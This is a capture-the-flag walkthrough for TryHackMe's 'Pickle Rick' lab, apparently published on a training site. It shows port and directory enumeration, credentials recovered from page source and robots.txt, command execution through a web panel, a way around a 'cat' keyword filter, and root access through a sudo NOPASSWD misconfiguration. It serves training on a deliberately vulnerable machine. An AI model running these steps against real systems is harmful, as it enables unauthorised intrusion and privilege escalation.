Skip to content
HackIndex.io

PickleRick Writeup - TryHackMe

Easy Linux
Discuss on Discord
Hackercat

Ethical Hacker

Pickle Rick is an Easy Linux CTF on TryHackMe, themed around Rick and Morty. Three ingredients are hidden across the machine. The credentials needed to enter the web command panel are sitting in plain sight in the page source and robots.txt, a reminder that attackers read everything before they touch a login form. Once inside, the privilege escalation is as simple as checking what the web user is allowed to run as root.

Reconnaissance

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV $TARGET_IP 
Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-14 19:45 UTC
Nmap scan report for $TARGET_IP
Host is up (0.033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 47:f6:46:6d:69:66:b6:b9:16:af:1b:1d:cd:1a:6f:03 (RSA)
|   256 54:f8:83:a9:0c:98:24:c2:f0:55:53:59:e5:7b:d0:1f (ECDSA)
|_  256 ec:bc:a3:e7:d9:77:0e:35:db:8e:6c:bc:80:80:7e:c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Rick is sup4r cool
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 8.12 seconds
Explain command
-sC Run default NSE scripts for service detection and enumeration.
-sV Probe open ports to determine service and version info.

Port 80 is the attack surface. Before touching the login form, enumerate what the web server exposes.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/dirb/common.txt -x php 
===============================================================
Gobuster v3.6
===============================================================
[+] Url:        http://$TARGET_IP
[+] Wordlist:   /usr/share/wordlists/dirb/common.txt
[+] Extensions: php
[+] Status codes: 200,204,301,302,307,401,403
===============================================================
/assets               (Status: 301)
/index.html           (Status: 200)
/login.php            (Status: 200)
/robots.txt           (Status: 200)
/server-status        (Status: 403)
===============================================================
Explain command
-u http://$TARGET_IP Target URL to scan.
-w /usr/share/wordlists/dirb/common.txt Wordlist for directory brute forcing.
-x php File extensions to append to each word.

login.php is the entry point. Both robots.txt and the page source need to be checked first.

Credential Discovery

The username is hidden in an HTML comment in the page source:

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP | grep -i "<!--" 
  <!--

    Note to self, remember username!

    Username: R1ckRul3s

  -->

The password is sitting in robots.txt:

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP/robots.txt 
Wubbalubbadubdub

Credentials: R1ckRul3s / Wubbalubbadubdub

robots.txt is a public file that tells search crawlers what not to index. In real engagements it is one of the first places to check. It regularly exposes staging paths, backup directories, admin panels, and occasionally credentials left by mistake.

Initial Access

Log in at http://$TARGET_IP/login.php. The application presents a command panel that passes input to a shell and returns the output in the browser. This is Remote Code Execution (RCE) running as www-data.

Notice

cat is blocked by the application. Use less, strings, or more as substitutes. They read file content through different system calls, bypassing a naive filter on the word cat.

Enter Command $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enter Command $ uname -a
Linux ip-$TARGET_IP 4.4.0-1075-aws #85-Ubuntu SMP Thu Jan 17 00:16:26 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Enter Command $ pwd
/var/www/html

The first ingredient file is in the web root:

Enter Command $ ls -la
total 40
drwxr-xr-x 3 root   root   4096 Feb 10  2019 .
drwxr-xr-x 3 root   root   4096 Feb 10  2019 ..
-rwxr-xr-x 1 ubuntu ubuntu  882 Feb 10  2019 Sup3rS3cretPickl3Ingred.txt
-rwxr-xr-x 1 ubuntu ubuntu   17 Feb 10  2019 assets
-rwxr-xr-x 1 root   root    742 Feb 10  2019 clue.txt
-rwxr-xr-x 1 root   root   1105 Feb 10  2019 denied.php
-rwxrwxrwx 1 root   root   1062 Feb 10  2019 index.html
-rwxr-xr-x 1 root   root   1438 Feb 10  2019 login.php
-rwxr-xr-x 1 root   root   2044 Feb 10  2019 portal.php
-rwxr-xr-x 1 root   root     17 Feb 10  2019 robots.txt

Enter Command $ less Sup3rS3cretPickl3Ingred.txt
$INGREDIENT_1

clue.txt points toward the next ingredient:

Enter Command $ less clue.txt
Look around the file system for the other ingredient.

Ingredient 2

Checking the home directories:

Enter Command $ ls /home
rick  ubuntu

Enter Command $ ls -la /home/rick
total 12
drwxrwxrwx 2 root root 4096 Feb 10  2019 .
drwxr-xr-x 4 root root 4096 Feb 10  2019 ..
-rwxrwxrwx 1 root root   13 Feb 10  2019 second ingredients

Enter Command $ less /home/rick/second\ ingredients
$INGREDIENT_2

Privilege Escalation

Before trying any exploit, check what the current user is allowed to run with elevated privileges. sudo -l is the first command for Linux privilege escalation:

Enter Command $ sudo -l
Matching Defaults entries for www-data on ip-$TARGET_IP:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ip-$TARGET_IP:
    (ALL) NOPASSWD: ALL

www-data, a web-facing process user, is allowed to run any command as root with no password. NOPASSWD: ALL is the highest possible misconfiguration: any web vulnerability that gives code execution on this server immediately yields full root access with zero extra steps.

Enter Command $ sudo ls /root
3rd.txt  snap

Enter Command $ sudo less /root/3rd.txt
$INGREDIENT_3

References